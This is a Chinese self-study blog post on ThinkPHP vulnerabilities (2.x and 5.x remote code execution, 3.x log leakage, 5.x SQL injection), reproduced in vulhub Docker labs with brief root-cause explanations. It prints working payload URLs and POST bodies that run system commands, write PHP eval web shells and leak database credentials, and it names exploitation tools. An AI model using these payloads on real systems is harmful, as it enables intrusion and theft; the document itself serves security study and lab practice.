ThinkPHP漏洞详解(自学)
后台-插件-广告管理-内容页头部广告(手机) |
目录
Thinkphp简介
Thinkphp2.x远程代码执行漏洞
漏洞原理
影响版本
漏洞复现
Thinkphp3.x日志泄露
漏洞原理
影响版本
漏洞复现
Thinkphp5.x远程代码执行漏洞1
漏洞原理
影响版本
漏洞复现
Thinkphp5.x远程代码执行漏洞2
漏洞原理
影响版本
漏洞复现
Thinkphp5.x SQL注入漏洞和敏感信息泄露漏洞
漏洞原理
影响版本
漏洞复现
利用工具
TPscan
ThinkphpGUI
总结
Thinkphp简介
Thinkphp是一个快速、兼容而且简单的轻量级PHP开发框架。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,是一款跨平台,跨版本以及简单易用的PHP框架。
Thinkphp发展至今,主要有2.x、3.x、5.x、6.x系列,其中2.x和3.x系列官方已停止维护,5.x系列是目前使用最多的一个系列,而3.x系列比较多的老用户。
Thinkphp2.x远程代码执行漏洞
漏洞原理
在Thinkphp2.x版本中,以preg_replace的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));/e修饰符它允许将替换字符串作为PHP代码执行,而不仅仅简单的替换操作。在匹配路由中,preg_replace函数中的/e修饰符导致替换字符串`$var[\'\\1\']="\\2";`(\1和\2表示正则表达式中的第一个和第二个捕获组的值)被当作PHP代码来执行。这意味着,如果输入参数中包含恶意代码,例如参数paths,攻击者就可以在这个漏洞执行任意的PHP代码。
不过,现在PHP已经将/e修饰符标志废弃。
影响版本
Thinkphp2.x、Thinkphp3.0
漏洞复现
打开目录,启动环境
- cd vulhub/thinkphp/2-rce
- docker-compose up -d
访问http://ip:8080即可
执行payload
http://ip:8080//index.php?s=/index/index/xxx/${system(id)}getshell:
http://ip:8080/index.php?s=/index/index/xxx/${${@eval($_POST[111])}}Thinkphp3.x日志泄露
漏洞原理
Thinkphp在开启debug的情况下会在Runtime目录下生成日志,而且debug很多网站会忘记关闭;且在Thinkphp默认安装时也会生成日志。这个漏洞是因为可以直接访问日志目录,然后可以看到泄露的Thinkphp日志文件。因为Thinkphp的日志文件含有很多敏感信息,所以漏洞比较严重。
Thinkphp3.1的默认日志目录为:
/Runtime/Logs/Home/【time】.logThinkphp3.2的默认日志目录为:
/Application/Runtime/Logs/Home/【time】.log影响版本
Thinkphp3.1-3.2
漏洞复现
因为在vulhub中没有这个漏洞环境,所以这里暂不作复现。
感兴趣的可以自己去搜索,自行配置漏洞复现环境。
Thinkphp5.x远程代码执行漏洞1
漏洞原理
由于没有正确处理控制器名,导致默认情况下网站没有开启强制路由时,对传入的路由参数过滤不严格,导致攻击者可以执行任意方法,从而导致远程代码执行漏洞。
其中不同版本的payload不同:
5.0.x:
- ?s=index/think\config/get&name=database.username // 获取配置信息
- ?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
- ?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
- ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
- ?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?> // 写入shell
5.1.x:
- ?s=index/\think\Request/input&filter[]=system&data=pwd //执行系统命令pwd是获取当前目录的命令
- ?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php @eval($_POST[a]);?> //写入shell
- ?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id //执行任意命令
- ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id //执行任意命令
影响版本
Thinkphp5.0.5-5.0.22、Thinkphp5.1.0-5.1.30
漏洞复现
这里复现的环境是5.0.20
打开目录,启动环境
- cd vulhub/thinkphp/5-rce
- docker-compose up -d
访问环境:http://ip:8080
访问POC,写入shell
http://192.168.15.249:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[a]);?>上传链接为:http://ip:8080/shell.php,用蚁剑连接
Thinkphp5.x远程代码执行漏洞2
漏洞原理
获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
影响版本
Thinkphp5.0.0-5.0.23、Thinkphp5.1.0-5.1.30
漏洞复现
打开目录,启动环境
- cd vulhub/thinkphp/5.0.23-rce/
- docker-compose up -d
任意命令执行POC:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id写入getshell,POC:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_POST[a]);?>' >shell.php访问路径http://ip:8080/shell.php
Thinkphp5.x SQL注入漏洞和敏感信息泄露漏洞
漏洞原理
传入的某个参数在绑定编译指令的时候没有进行安全处理(可以去了解原理背后的代码审计),预编译的时候会导致SQL异常报错。然而Thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄露数据库账户和密码。该漏洞关键是需要开启debug模式。
所谓预编译,就是当相同的SQL语句再次执行时,数据库只需使用缓冲区中的数据,而不需要对SQL语句再次编译,从而有效提高数据的访问效率。预编译也用来防护SQL注入。
影响版本
Thinkphp < 5.1.23
漏洞复现
打开目录,启动环境
- cd vulhub/thinkphp/in-sqlinjection
- docker-compose up -d
访问POC:
index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1下拉发现泄露数据库名、账号即密码:
然后尝试进行远程连接
获取mysql主机ip
- docker ps -a
- docker inspect 容器ID
mysql远程连接
mysql -h [host] -r [username] -p[password] --port=[port_number]利用工具
TPscan
Thinkphp漏洞检测工具,可以检测到14个常见的Thinkphp漏洞。
此工具运行需要gevent库,gevent库下载地址
Tpscan
ThinkphpGUI
是一款综合的Thinkphp检测和利用工具,能够命令执行、getshell等。
下载地址
总结
- Thinkphp有2、3、5、6版本,需要比较关注的就是3(因为老用户用的最多)、5(现今使用的最多)、6(最新)
- Thinkphp2.x的远程代码执行漏洞是因为PHP中的\e修饰符使得替换的字符串可以当做PHP代码执行,导致可以任意代码执行和getshell。但现在\e修饰符已经被舍去。
- Thinkphp3.x的日志泄露漏洞是因为在debug开启和Thinkphp默认安装时会在Runtime目录下生成日志文件,且3.1和3.2版本可以任意访问日志路径
- Thinkphp5.x的远程代码执行漏洞,一种是因为路由参数没有进行严格过滤导致可以执行任意函数,另一种是因为获取method的方法没有正确处理方法名,导致可以任意执行Request类中的函数。这两者都可以造成任意命令执行和getshell。
- Thinkphp5.xSQL注入漏洞是因为没有对某个参数错误的时候进行正确的处理,导致可以进行报错注入回显出数据库的账号、密码和数据库名
- 利用工具有TPscan和ThinkphpGUI
1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。
在线投稿:投稿 站长QQ:1888636
后台-插件-广告管理-内容页尾部广告(手机) |